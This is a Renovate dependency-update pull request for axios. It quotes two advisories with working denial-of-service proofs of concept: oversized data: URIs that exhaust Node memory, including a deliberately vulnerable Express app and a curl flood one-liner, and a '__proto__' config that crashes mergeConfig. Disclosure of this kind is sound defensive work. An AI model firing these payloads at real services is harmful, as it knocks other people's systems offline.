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fix(deps): update axios to 1.13.5 [security] - abandoned#681
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renovate/npm-axios-vulnerability

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@renovate renovate bot commented Sep 13, 2025 •
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ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
axios (source) 1.7.7 → 1.13.5 age confidence

GitHub Vulnerability Alerts

CVE-2025-58754

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
  • The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
  • It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
  • As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @&#8203;payload.json -o /dev/null```

Suggestions

  1. Enforce size limits
    For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

  2. Stream decoding
    Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

CVE-2026-25639

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

  1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
  2. Object.keys() includes '__proto__' in the iteration
  3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
  4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
  5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

  • Axios._request() at lib/core/Axios.js:75
  • Axios.getUri() at lib/core/Axios.js:201
  • All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

  1. Clone axios repository or npm install axios
  2. Create file poc.mjs with the code above
  3. Run: node poc.mjs
  4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test Config Result
Normal config {"timeout": 5000} SUCCESS
Malicious config JSON.parse('{"__proto__": {"x": 1}}') CRASH
Nested object {"headers": {"X-Test": "value"}} SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

  • Node.js servers using axios for HTTP requests
  • Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Release Notes

axios/axios (axios)

v1.13.5

Compare Source

Release 1.13.5

Highlights
  • Security: Fixed a potential Denial of Service issue involving the __proto__ key in mergeConfig. (PR #​7369)
  • Bug fix: Resolved an issue where AxiosError could be missing the status field on and after v1.13.3. (PR #​7368)
Changes
Security
  • Fix Denial of Service via __proto__ key in mergeConfig. (PR #​7369)
Fixes
  • Fix/5657. (PR #​7313)
  • Ensure status is present in AxiosError on and after v1.13.3. (PR #​7368)
Features / Improvements
  • Add input validation to isAbsoluteURL. (PR #​7326)
  • Refactor: bump minor package versions. (PR #​7356)
Documentation
  • Clarify object-check comment. (PR #​7323)
  • Fix deprecated Buffer constructor usage and README formatting. (PR #​7371)
CI / Maintenance
  • Chore: fix issues with YAML. (PR #​7355)
  • CI: update workflow YAMLs. (PR #​7372)
  • CI: fix run condition. (PR #​7373)
  • Dev deps: bump karma-sourcemap-loader from 0.3.8 to 0.4.0. (PR #​7360)
  • Chore(release): prepare release 1.13.5. (PR #​7379)
New Contributors

Full Changelog: axios/axios@v1.13.4...v1.13.5

v1.13.4

Compare Source

Overview

The release addresses issues discovered in v1.13.3 and includes significant CI/CD improvements.

Full Changelog: v1.13.3...v1.13.4

What's New in v1.13.4

Bug Fixes
  • fix: issues with version 1.13.3 (#​7352) (ee90dfc)
    • Fixed issues discovered in v1.13.3 release
    • Cleaned up interceptor test files
    • Improved workflow configurations
Infrastructure & CI/CD

  • refactor: ci and build (#​7340) (8ff6c19)

    • Major refactoring of CI/CD workflows
    • Consolidated workflow files for better maintainability
    • Added mise configuration for the development environment
    • Improved sponsor block update automation
    • Enhanced issue and PR templates
    • Added automatic release notes generation
    • Implemented workflow cancellation for concurrent runs

  • chore: codegen and some updates to workflows (76cf77b)

    • Code generation improvements
    • Workflow optimisations

Migration Notes

Breaking Changes

None in this release.

Deprecations

None in this release.

Contributors

Thank you to all contributors who made this release possible! Special thanks to:

v1.13.3

Compare Source

Bug Fixes
  • http2: Use port 443 for HTTPS connections by default. (#​7256) (d7e6065)
  • interceptor: handle the error in the same interceptor (#​6269) (5945e40)
  • main field in package.json should correspond to cjs artifacts (#​5756) (7373fbf)
  • package.json: add 'bun' package.json 'exports' condition. Load the Node.js build in Bun instead of the browser build (#​5754) (b89217e)
  • silentJSONParsing=false should throw on invalid JSON (#​7253) (#​7257) (7d19335)
  • turn AxiosError into a native error (#​5394) (#​5558) (1c6a86d)
  • types: add handlers to AxiosInterceptorManager interface (#​5551) (8d1271b)
  • types: restore AxiosError.cause type from unknown to Error (#​7327) (d8233d9)
  • unclear error message is thrown when specifying an empty proxy authorization (#​6314) (6ef867e)
Features
Reverts
Contributors to this release

v1.13.2

Compare Source

Bug Fixes
  • http: fix 'socket hang up' bug for keep-alive requests when using timeouts; (#​7206) (8d37233)
  • http: use default export for http2 module to support stubs; (#​7196) (0588880)
Performance Improvements
Contributors to this release

v1.13.1

Compare Source

Bug Fixes
  • http: fixed a regression that caused the data stream to be interrupted for responses with non-OK HTTP statuses; (#​7193) (bcd5581)
Contributors to this release

v1.13.0

Compare Source

Bug Fixes
Features
Contributors to this release

1.12.2 (2025-09-14)

Bug Fixes
  • fetch: use current global fetch instead of cached one when env fetch is not specified to keep MSW support; (#​7030) (cf78825)
Contributors to this release

1.12.1 (2025-09-12)

Bug Fixes
Contributors to this release

v1.12.2

Compare Source

Bug Fixes
  • fetch: use current global fetch instead of cached one when env fetch is not specified to keep MSW support; (#​7030) (cf78825)
Contributors to this release

v1.12.1

Compare Source

Bug Fixes
Contributors to this release

v1.12.0

Compare Source

Bug Fixes
Features
  • adapter: surface low‑level network error details; attach original error via cause (#​6982) (78b290c)
  • fetch: add fetch, Request, Response env config variables for the adapter; (#​7003) (c959ff2)
  • support reviver on JSON.parse (#​5926) (2a97634), closes #​5924
  • types: extend AxiosResponse interface to include custom headers type (#​6782) (7960d34)
Contributors to this release

v1.11.0

Compare Source

Bug Fixes
Contributors to this release

v1.10.0

Compare Source

Bug Fixes
  • adapter: pass fetchOptions to fetch function (#​6883) (0f50af8)
  • form-data: convert boolean values to strings in FormData serialization (#​6917) (5064b10)
  • package: add module entry point for React Native; (#​6933) (3d343b8)
Features
Contributors to this release

v1.9.0

Compare Source

Bug Fixes
  • core: fix the Axios constructor implementation to treat the config argument as optional; (#​6881) (6c5d4cd)
  • fetch: fixed ERR_NETWORK mapping for Safari browsers; (#​6767) (dfe8411)
  • headers: allow iterable objects to be a data source for the set method; (#​6873) (1b1f9cc)
  • headers: fix getSetCookie by using 'get' method for caseless access; (#​6874) (d4f7df4)
  • headers: fixed support for setting multiple header values from an iterated source; (#​6885) (f7a3b5e)
  • http: send minimal end multipart boundary (#​6661) (987d2e2)
  • types: fix autocomplete for adapter config (#​6855) (e61a893)
Features
  • AxiosHeaders: add getSetCookie method to retrieve set-cookie headers values (#​5707) (80ea756)
Contributors to this release

1.8.4 (2025-03-19)

Bug Fixes
  • buildFullPath: handle allowAbsoluteUrls: false without baseURL (#​6833) (f10c2e0)
Contributors to this release

1.8.3 (2025-03-10)

Bug Fixes
  • add missing type for allowAbsoluteUrls (#​6818) (10fa70e)
  • xhr/fetch: pass allowAbsoluteUrls to buildFullPath in xhr and fetch adapters (#​6814) (ec159e5)
Contributors to this release

1.8.2 (2025-03-07)

Bug Fixes
  • http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)
Contributors to this release

1.8.1 (2025-02-26)

Bug Fixes
  • utils: move generateString to platform utils to avoid importing crypto module into client builds; (#​6789) (36a5a62)
Contributors to this release

v1.8.4

Compare Source

Bug Fixes
  • core: fix the Axios constructor implementation to treat the config argument as optional; (#​6881) (6c5d4cd)
  • fetch: fixed ERR_NETWORK mapping for Safari browsers; (#​6767) (dfe8411)
  • headers: allow iterable objects to be a data source for the set method; (#​6873) (1b1f9cc)
  • headers: fix getSetCookie by using 'get' method for caseless access; (#​6874) (d4f7df4)
  • headers: fixed support for setting multiple header values from an iterated source; (#​6885) (f7a3b5e)
  • http: send minimal end multipart boundary (#​6661) (987d2e2)
  • types: fix autocomplete for adapter config (#​6855) (e61a893)
Features
  • AxiosHeaders: add getSetCookie method to retrieve set-cookie headers values (#​5707) (80ea756)
Contributors to this release

1.8.4 (2025-03-19)

Bug Fixes
  • buildFullPath: handle allowAbsoluteUrls: false without baseURL (#​6833) (f10c2e0)
Contributors to this release

1.8.3 (2025-03-10)

Bug Fixes

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@renovate renovate bot added the dependencies Pull requests that update a dependency file label Sep 13, 2025
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⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

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The artifact failure details are included below:

File name: package-lock.json
npm warn Unknown env config "store". This will stop working in the next major version of npm.
npm error code ERESOLVE
npm error ERESOLVE could not resolve
npm error
npm error While resolving: enzyme-adapter-react-16@1.15.8
npm error Found: react@18.3.1
npm error node_modules/react
npm error   react@"^18.3.1" from the root project
npm error   peer react@">=16.8.0" from @emotion/react@11.13.3
npm error   node_modules/@emotion/react
npm error     @emotion/react@"11.13.3" from the root project
npm error     peer @emotion/react@"^11.0.0-rc.0" from @emotion/styled@11.13.0
npm error     node_modules/@emotion/styled
npm error       @emotion/styled@"11.13.0" from the root project
npm error     1 more (react-select)
npm error   32 more (@emotion/styled, ...)
npm error
npm error Could not resolve dependency:
npm error peer react@"^16.0.0-0" from enzyme-adapter-react-16@1.15.8
npm error node_modules/enzyme-adapter-react-16
npm error   dev enzyme-adapter-react-16@"^1.15.3" from the root project
npm error
npm error Conflicting peer dependency: react@16.14.0
npm error node_modules/react
npm error   peer react@"^16.0.0-0" from enzyme-adapter-react-16@1.15.8
npm error   node_modules/enzyme-adapter-react-16
npm error     dev enzyme-adapter-react-16@"^1.15.3" from the root project
npm error
npm error Fix the upstream dependency conflict, or retry
npm error this command with --force or --legacy-peer-deps
npm error to accept an incorrect (and potentially broken) dependency resolution.
npm error
npm error
npm error For a full report see:
npm error /runner/cache/others/npm/_logs/2026-02-17T20_31_28_354Z-eresolve-report.txt
npm error A complete log of this run can be found in: /runner/cache/others/npm/_logs/2026-02-17T20_31_28_354Z-debug-0.log

@renovate renovate bot changed the title fix(deps): update axios to 1.12.0 [security] fix(deps): update axios to 1.12.0 [security] - abandoned Sep 29, 2025
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@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 665cdda to 64f3134 Compare February 11, 2026 02:03
@renovate renovate bot changed the title fix(deps): update axios to 1.12.0 [security] - abandoned fix(deps): update axios to 1.13.5 [security] Feb 11, 2026
@renovate renovate bot changed the title fix(deps): update axios to 1.13.5 [security] fix(deps): update axios to 1.13.5 [security] - abandoned Feb 18, 2026
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